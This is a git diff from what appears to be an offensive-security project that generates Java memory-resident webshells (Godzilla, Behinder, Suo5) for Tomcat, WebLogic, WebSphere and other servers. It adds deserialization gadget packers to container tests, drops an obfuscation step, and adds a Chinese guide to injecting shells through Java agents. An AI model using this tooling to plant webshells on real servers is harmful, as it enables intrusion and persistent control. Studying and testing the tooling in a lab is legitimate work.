|
||||||
|
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||||
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -28,9 +28,9 @@ public class ResinShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, ResinServletInjector.class)
|
|
||||||
.addInjector(FILTER, ResinFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, ResinListenerInjector.class)
|
.addInjector(LISTENER, ResinListenerInjector.class)
|
||||||
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
|
.addInjector(SERVLET, ResinServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
+3
-4
@@ -23,12 +23,11 @@ public class ServerToolRegistry {
|
|||||||
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||||
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||||
|
|
||||||
for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
|
for (String shellType : injectorSupportedShellTypes) {
|
||||||
String shellType = entry.getKey();
|
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||||
if (!injectorSupportedShellTypes.contains(shellType)) {
|
if (shellClass == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Class<?> shellClass = entry.getValue();
|
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
||||||
|
|||||||
+1
-1
@@ -17,9 +17,9 @@ public class SpringWebFluxShell extends AbstractShell {
|
|||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
||||||
|
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
||||||
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
||||||
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,14 +33,14 @@ public class TomcatShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
|
||||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, TomcatValveInjector.class)
|
.addInjector(VALVE, TomcatValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||||
|
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||||
|
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
|||||||
@@ -18,10 +18,10 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -18,10 +18,10 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -38,12 +38,12 @@ public class UndertowShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
|
||||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
|
||||||
.addInjector(FILTER, UndertowFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, UndertowListenerInjector.class)
|
.addInjector(LISTENER, UndertowListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
||||||
|
.addInjector(FILTER, UndertowFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||||
|
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||||
|
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -18,9 +18,9 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
|
||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||||
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -29,9 +29,9 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
|
||||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
||||||
|
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||||
|
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.memshell.utils;
|
||||||
|
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class DigestUtils {
|
||||||
|
public static String md5Hex(String input) {
|
||||||
|
try {
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
byte[] hashBytes = md.digest(input.getBytes());
|
||||||
|
|
||||||
|
// Convert byte array to hex string
|
||||||
|
StringBuilder hexString = new StringBuilder();
|
||||||
|
for (byte b : hashBytes) {
|
||||||
|
String hex = Integer.toHexString(0xff & b);
|
||||||
|
if (hex.length() == 1) {
|
||||||
|
hexString.append('0');
|
||||||
|
}
|
||||||
|
hexString.append(hex);
|
||||||
|
}
|
||||||
|
return hexString.toString();
|
||||||
|
} catch (NoSuchAlgorithmException e) {
|
||||||
|
throw new RuntimeException("MD5 algorithm not found", e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -49,7 +49,7 @@ class GeneratorMainTest {
|
|||||||
if (generateResult != null) {
|
if (generateResult != null) {
|
||||||
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()));
|
||||||
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
||||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,6 +14,7 @@ class GodzillaShellConfigTest {
|
|||||||
void test() {
|
void test() {
|
||||||
GodzillaConfig shellConfig = GodzillaConfig.builder()
|
GodzillaConfig shellConfig = GodzillaConfig.builder()
|
||||||
.pass("pass").build();
|
.pass("pass").build();
|
||||||
assertEquals("key", shellConfig.getKey());
|
assertEquals("pass", shellConfig.getPass());
|
||||||
|
assertNotEquals("key", shellConfig.getKey());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
@@ -24,7 +24,7 @@ class CustomShellGeneratorTest {
|
|||||||
.subclass(Object.class)
|
.subclass(Object.class)
|
||||||
.name(CommonUtil.generateShellClassName()).make().getBytes();
|
.name(CommonUtil.generateShellClassName()).make().getBytes();
|
||||||
String className = CommonUtil.generateShellClassName();
|
String className = CommonUtil.generateShellClassName();
|
||||||
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.encodeBase64String(bytes)).build()).getBytes();
|
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes();
|
||||||
|
|
||||||
ClassReader classReader = new ClassReader(bytes1);
|
ClassReader classReader = new ClassReader(bytes1);
|
||||||
assertEquals(className, classReader.getClassName().replace("/", "."));
|
assertEquals(className, classReader.getClassName().replace("/", "."));
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
@@ -21,6 +21,6 @@ class GzipBase64Test {
|
|||||||
GenerateResult generateResult = new GenerateResult();
|
GenerateResult generateResult = new GenerateResult();
|
||||||
generateResult.setInjectorBytes("hello world".getBytes());
|
generateResult.setInjectorBytes("hello world".getBytes());
|
||||||
String pack = new GzipBase64Packer().pack(generateResult);
|
String pack = new GzipBase64Packer().pack(generateResult);
|
||||||
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
|
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack))));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
-12
@@ -6,9 +6,6 @@ import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import me.n1ar4.clazz.obfuscator.api.ClassObf;
|
|
||||||
import me.n1ar4.clazz.obfuscator.api.Result;
|
|
||||||
import me.n1ar4.clazz.obfuscator.config.BaseConfig;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -65,15 +62,6 @@ public class CommandFilterChainASMTest {
|
|||||||
};
|
};
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
||||||
BaseConfig config = BaseConfig.Default();
|
|
||||||
config.setIgnorePublic(true);
|
|
||||||
config.setEnableMethodName(false);
|
|
||||||
config.setEnableParamName(false);
|
|
||||||
config.setEnableAES(false);
|
|
||||||
config.setEnableAdvanceString(false);
|
|
||||||
ClassObf classObf = new ClassObf(config);
|
|
||||||
Result run = classObf.run(bytes2);
|
|
||||||
bytes2 = run.getData();
|
|
||||||
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
|
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
|
||||||
Class<?> clazz = ClassUtils.defineClass(bytes2);
|
Class<?> clazz = ClassUtils.defineClass(bytes2);
|
||||||
instance = spy(clazz.newInstance());
|
instance = spy(clazz.newInstance());
|
||||||
|
|||||||
@@ -1,13 +1,9 @@
|
|||||||
plugins {
|
group = 'io.github.reajason'
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
testImplementation project(":vul:vul-webapp")
|
testImplementation project(":vul:vul-webapp")
|
||||||
testImplementation project(":common")
|
testImplementation project(":memshell-party-common")
|
||||||
testImplementation project(":tools:behinder")
|
testImplementation project(":tools:behinder")
|
||||||
testImplementation project(":tools:godzilla")
|
testImplementation project(":tools:godzilla")
|
||||||
testImplementation project(":tools:suo5")
|
testImplementation project(":tools:suo5")
|
||||||
@@ -18,11 +14,9 @@ dependencies {
|
|||||||
|
|
||||||
testImplementation 'javax.servlet:javax.servlet-api'
|
testImplementation 'javax.servlet:javax.servlet-api'
|
||||||
testImplementation 'javax.websocket:javax.websocket-api'
|
testImplementation 'javax.websocket:javax.websocket-api'
|
||||||
testImplementation 'jakarta.servlet:jakarta.servlet-api'
|
|
||||||
|
|
||||||
testImplementation 'org.java-websocket:Java-WebSocket'
|
testImplementation 'org.java-websocket:Java-WebSocket'
|
||||||
testImplementation 'com.squareup.okhttp3:okhttp'
|
testImplementation 'com.squareup.okhttp3:okhttp'
|
||||||
testImplementation 'com.alibaba.fastjson2:fastjson2'
|
|
||||||
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
|||||||
+2
-8
@@ -232,16 +232,8 @@ public class ShellAssertionTool {
|
|||||||
.targetJreVersion(targetJdkVersion)
|
.targetJreVersion(targetJdkVersion)
|
||||||
.debug(true)
|
.debug(true)
|
||||||
.shrink(true)
|
.shrink(true)
|
||||||
.obfuscate(true)
|
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
if (ShellTool.NeoreGeorg.equals(shellTool)) {
|
|
||||||
shellConfig.setObfuscate(false);
|
|
||||||
}
|
|
||||||
if (Server.Jetty.equals(server) && ShellType.FILTER.equals(shellType) && ShellTool.Suo5.equals(shellTool)) {
|
|
||||||
shellConfig.setObfuscate(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
ShellToolConfig shellToolConfig = null;
|
ShellToolConfig shellToolConfig = null;
|
||||||
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
@@ -332,6 +324,8 @@ public class ShellAssertionTool {
|
|||||||
case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
|
case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
|
||||||
case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
|
case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
|
||||||
case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
|
case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
|
||||||
|
case JavaCommonsCollections3 -> VulTool.postData(url + "/java_deserialize/cc321", content);
|
||||||
|
case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
|
||||||
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
|
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
|
||||||
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
|
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
|
||||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||||
|
|||||||
+2
@@ -47,6 +47,8 @@ public class Tomcat8DeserializeContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections3),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -0,0 +1,65 @@
|
|||||||
|
## Agent 内存马
|
||||||
|
|
||||||
|
### 实现原理
|
||||||
|
|
||||||
|
JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的
|
||||||
|
Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。
|
||||||
|
|
||||||
|
JavaAgent 有两种入口:
|
||||||
|
|
||||||
|
1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了
|
||||||
|
`public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加
|
||||||
|
`java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。
|
||||||
|
2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了
|
||||||
|
`public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行
|
||||||
|
attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。
|
||||||
|
|
||||||
|
当一个 jar 包中 MANIFEST 定义如下时:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
|
||||||
|
Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
|
||||||
|
Can-Redefine-Classes: true
|
||||||
|
Can-Retransform-Classes: true
|
||||||
|
Can-Set-Native-Method-Prefix: true
|
||||||
|
```
|
||||||
|
|
||||||
|
那么这个 Java Agent 既支持静态注入,也支持动态注入。
|
||||||
|
|
||||||
|
### 实现方式
|
||||||
|
|
||||||
|
> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式
|
||||||
|
|
||||||
|
1. 基于
|
||||||
|
ASM,[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||||
|
2. 基于
|
||||||
|
Javassist,[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||||
|
3. 基于
|
||||||
|
ByteBuddy,[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||||
|
|
||||||
|
### 如何使用
|
||||||
|
|
||||||
|
可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
## 进入项目根目录
|
||||||
|
cd MemShellParty
|
||||||
|
|
||||||
|
## MacOs or Linux
|
||||||
|
./gradlew :memshell-agent:jar
|
||||||
|
|
||||||
|
## Windows
|
||||||
|
gradlew.bat :memshell-agent:jar
|
||||||
|
```
|
||||||
|
|
||||||
|
构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如:
|
||||||
|
|
